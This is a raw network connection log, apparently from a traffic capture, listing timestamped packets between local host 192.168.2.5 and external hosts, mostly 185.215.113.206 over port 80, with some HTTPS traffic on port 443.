Oct 29, 2024 20:35:23.859025955 CET	49863	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:35:23.859035969 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:23.859047890 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:23.859060049 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:23.859066010 CET	49863	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:35:23.859071016 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:23.859092951 CET	49863	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:35:23.859092951 CET	49863	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:35:23.859127998 CET	49863	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:35:23.859127998 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:23.859141111 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:23.859199047 CET	49863	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:35:23.859565020 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:23.859617949 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:23.859639883 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:23.859664917 CET	49863	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:35:23.859664917 CET	49863	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:35:23.859705925 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:23.859718084 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:23.859728098 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:23.859728098 CET	49863	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:35:23.859740973 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:23.859756947 CET	49863	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:35:23.859757900 CET	49863	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:35:23.859786034 CET	49863	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:35:23.859879017 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:23.859889984 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:23.859899998 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:23.859910965 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:23.859916925 CET	49863	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:35:23.859922886 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:23.859934092 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:23.859945059 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:23.859956980 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:23.859968901 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:23.859972954 CET	49863	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:35:23.859972954 CET	49863	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:35:23.860003948 CET	49863	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:35:23.861498117 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:23.861515999 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:23.861526966 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:23.861541033 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:23.861562014 CET	49863	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:35:23.861567020 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:23.861578941 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:23.861629963 CET	49863	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:35:23.861629963 CET	49863	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:35:23.861717939 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:23.861730099 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:23.861740112 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:23.861752033 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:23.861757994 CET	49863	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:35:23.861763954 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:23.861776114 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:23.861785889 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:23.861798048 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:23.861807108 CET	49863	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:35:23.861807108 CET	49863	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:35:23.861809969 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:23.861831903 CET	49863	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:35:23.861845016 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:23.861845016 CET	49863	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:35:23.861855984 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:23.861865997 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:23.861876965 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:23.861887932 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:23.861896038 CET	49863	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:35:23.861896038 CET	49863	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:35:23.861898899 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:23.861910105 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:23.861921072 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:23.861932039 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:23.861939907 CET	49863	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:35:23.861939907 CET	49863	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:35:23.861943007 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:23.861958027 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:23.861968994 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:23.861975908 CET	49863	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:35:23.861975908 CET	49863	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:35:23.862013102 CET	49863	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:35:23.862013102 CET	49863	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:35:23.862127066 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:23.862138987 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:23.862149954 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:23.862162113 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:23.862173080 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:23.862179041 CET	49863	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:35:23.862179041 CET	49863	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:35:23.862184048 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:23.862195969 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:23.862204075 CET	49863	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:35:23.862206936 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:23.862217903 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:23.862235069 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:23.862242937 CET	49863	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:35:23.862242937 CET	49863	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:35:23.862246037 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:23.862257004 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:23.862268925 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:23.862278938 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:23.862282038 CET	49863	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:35:23.862289906 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:23.862301111 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:23.862310886 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:23.862313986 CET	49863	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:35:23.862313986 CET	49863	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:35:23.862323046 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:23.862339973 CET	49863	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:35:23.862384081 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:23.862395048 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:23.862396002 CET	49863	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:35:23.862406015 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:23.862422943 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:23.862435102 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:23.862435102 CET	49863	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:35:23.862446070 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:23.862457037 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:23.862461090 CET	49863	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:35:23.862482071 CET	49863	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:35:23.862507105 CET	49863	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:35:23.862518072 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:23.862529993 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:23.862540960 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:23.862561941 CET	49863	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:35:23.862567902 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:23.862579107 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:23.862588882 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:23.862605095 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:23.862610102 CET	49863	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:35:23.862622023 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:23.862632036 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:23.862644911 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:23.862648010 CET	49863	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:35:23.862648010 CET	49863	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:35:23.862674952 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:23.862688065 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:23.862693071 CET	49863	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:35:23.862693071 CET	49863	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:35:23.862698078 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:23.862747908 CET	49863	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:35:23.862747908 CET	49863	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:35:23.864970922 CET	443	49949	13.107.246.45	192.168.2.5
Oct 29, 2024 20:35:23.873578072 CET	49949	443	192.168.2.5	13.107.246.45
Oct 29, 2024 20:35:23.873600006 CET	443	49949	13.107.246.45	192.168.2.5
Oct 29, 2024 20:35:23.874068022 CET	49949	443	192.168.2.5	13.107.246.45
Oct 29, 2024 20:35:23.874073982 CET	443	49949	13.107.246.45	192.168.2.5
Oct 29, 2024 20:35:23.884232998 CET	443	49945	13.107.246.57	192.168.2.5
Oct 29, 2024 20:35:23.884320021 CET	443	49945	13.107.246.57	192.168.2.5
Oct 29, 2024 20:35:23.885260105 CET	49945	443	192.168.2.5	13.107.246.57
Oct 29, 2024 20:35:23.902239084 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:23.902256966 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:23.902282000 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:23.902292967 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:23.902311087 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:23.902323961 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:23.902334929 CET	49863	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:35:23.902335882 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:23.902334929 CET	49863	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:35:23.902414083 CET	49863	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:35:23.902432919 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:23.902446032 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:23.902462959 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:23.902473927 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:23.902484894 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:23.902497053 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:23.902502060 CET	49863	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:35:23.902502060 CET	49863	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:35:23.902515888 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:23.902528048 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:23.902534008 CET	49863	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:35:23.902538061 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:23.902546883 CET	49863	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:35:23.902549028 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:23.902561903 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:23.902573109 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:23.902585030 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:23.902595043 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:23.902596951 CET	49863	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:35:23.902596951 CET	49863	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:35:23.902606010 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:23.902617931 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:23.902631998 CET	49863	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:35:23.902631998 CET	49863	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:35:23.902633905 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:23.902646065 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:23.902657032 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:23.902671099 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:23.902683020 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:23.902686119 CET	49863	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:35:23.902686119 CET	49863	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:35:23.902694941 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:23.902707100 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:23.902719975 CET	49863	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:35:23.902719975 CET	49863	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:35:23.902720928 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:23.902724028 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:23.902734995 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:23.902745962 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:23.902757883 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:23.902771950 CET	49863	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:35:23.902771950 CET	49863	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:35:23.902786016 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:23.902805090 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:23.902815104 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:23.902827978 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:23.902829885 CET	49863	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:35:23.902838945 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:23.902849913 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:23.902853966 CET	49863	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:35:23.902853966 CET	49863	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:35:23.902882099 CET	49863	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:35:23.902885914 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:23.902899027 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:23.902945995 CET	49863	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:35:23.902945995 CET	49863	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:35:23.903374910 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:23.903404951 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:23.903415918 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:23.903458118 CET	49863	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:35:23.903458118 CET	49863	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:35:23.903462887 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:23.903475046 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:23.903486013 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:23.903496981 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:23.903510094 CET	49863	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:35:23.903539896 CET	49863	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:35:23.903660059 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:23.903671026 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:23.903681040 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:23.903692007 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:23.903703928 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:23.903716087 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:23.903723001 CET	49863	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:35:23.903723001 CET	49863	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:35:23.903728962 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:23.903739929 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:23.903752089 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:23.903759956 CET	49863	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:35:23.903768063 CET	49863	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:35:23.903804064 CET	49863	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:35:23.903821945 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:23.903834105 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:23.903851986 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:23.903862953 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:23.903872967 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:23.903875113 CET	49863	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:35:23.903875113 CET	49863	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:35:23.903884888 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:23.903896093 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:23.903904915 CET	49863	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:35:23.903908014 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:23.903918982 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:23.903929949 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:23.903939009 CET	49863	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:35:23.903939962 CET	49863	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:35:23.903943062 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:23.903953075 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:23.903966904 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:23.903973103 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:23.903976917 CET	49863	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:35:23.903985977 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:23.903996944 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:23.904005051 CET	49863	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:35:23.904009104 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:23.904016018 CET	49863	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:35:23.904020071 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:23.904042959 CET	49863	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:35:23.904068947 CET	49863	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:35:23.904351950 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:23.904438972 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:23.904452085 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:23.904462099 CET	49863	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:35:23.904489994 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:23.904512882 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:23.904524088 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:23.904539108 CET	49863	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:35:23.904563904 CET	49863	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:35:23.904563904 CET	49863	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:35:23.904592037 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:23.904603958 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:23.904614925 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:23.904627085 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:23.904640913 CET	49863	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:35:23.904644012 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:23.904656887 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:23.904685020 CET	49863	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:35:23.904685020 CET	49863	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:35:23.904731035 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:23.904743910 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:23.904755116 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:23.904767036 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:23.904778957 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:23.904791117 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:23.904803038 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:23.904814959 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:23.904819965 CET	49863	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:35:23.904819965 CET	49863	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:35:23.904828072 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:23.904830933 CET	49863	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:35:23.904830933 CET	49863	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:35:23.904861927 CET	49863	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:35:23.904932022 CET	49863	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:35:23.905098915 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:23.905111074 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:23.905122042 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:23.905134916 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:23.905147076 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:23.905159950 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:23.905174017 CET	49863	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:35:23.905174017 CET	49863	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:35:23.905175924 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:23.905188084 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:23.905199051 CET	49863	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:35:23.905200958 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:23.905224085 CET	49863	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:35:23.905320883 CET	49863	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:35:23.905555010 CET	49944	443	192.168.2.5	204.79.197.219
Oct 29, 2024 20:35:23.916032076 CET	443	49950	13.107.246.57	192.168.2.5
Oct 29, 2024 20:35:23.929244041 CET	49950	443	192.168.2.5	13.107.246.57
Oct 29, 2024 20:35:23.929267883 CET	443	49950	13.107.246.57	192.168.2.5
Oct 29, 2024 20:35:23.929913044 CET	443	49950	13.107.246.57	192.168.2.5
Oct 29, 2024 20:35:23.930846930 CET	49950	443	192.168.2.5	13.107.246.57
Oct 29, 2024 20:35:23.930939913 CET	443	49950	13.107.246.57	192.168.2.5
Oct 29, 2024 20:35:23.931643009 CET	49950	443	192.168.2.5	13.107.246.57
Oct 29, 2024 20:35:23.933871031 CET	443	49947	13.107.246.45	192.168.2.5
Oct 29, 2024 20:35:23.933928013 CET	443	49947	13.107.246.45	192.168.2.5
Oct 29, 2024 20:35:23.933973074 CET	443	49947	13.107.246.45	192.168.2.5
Oct 29, 2024 20:35:23.934006929 CET	49947	443	192.168.2.5	13.107.246.45
Oct 29, 2024 20:35:23.934031010 CET	49947	443	192.168.2.5	13.107.246.45
Oct 29, 2024 20:35:23.951409101 CET	443	49948	13.107.246.45	192.168.2.5
Oct 29, 2024 20:35:23.951487064 CET	443	49948	13.107.246.45	192.168.2.5
Oct 29, 2024 20:35:23.951605082 CET	49948	443	192.168.2.5	13.107.246.45
Oct 29, 2024 20:35:23.952104092 CET	443	49951	13.107.246.45	192.168.2.5
Oct 29, 2024 20:35:23.976032019 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:23.976047039 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:23.976066113 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:23.976078987 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:23.976092100 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:23.976099014 CET	49863	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:35:23.976103067 CET	80	49863	185.215.113.206	192.168.2.5
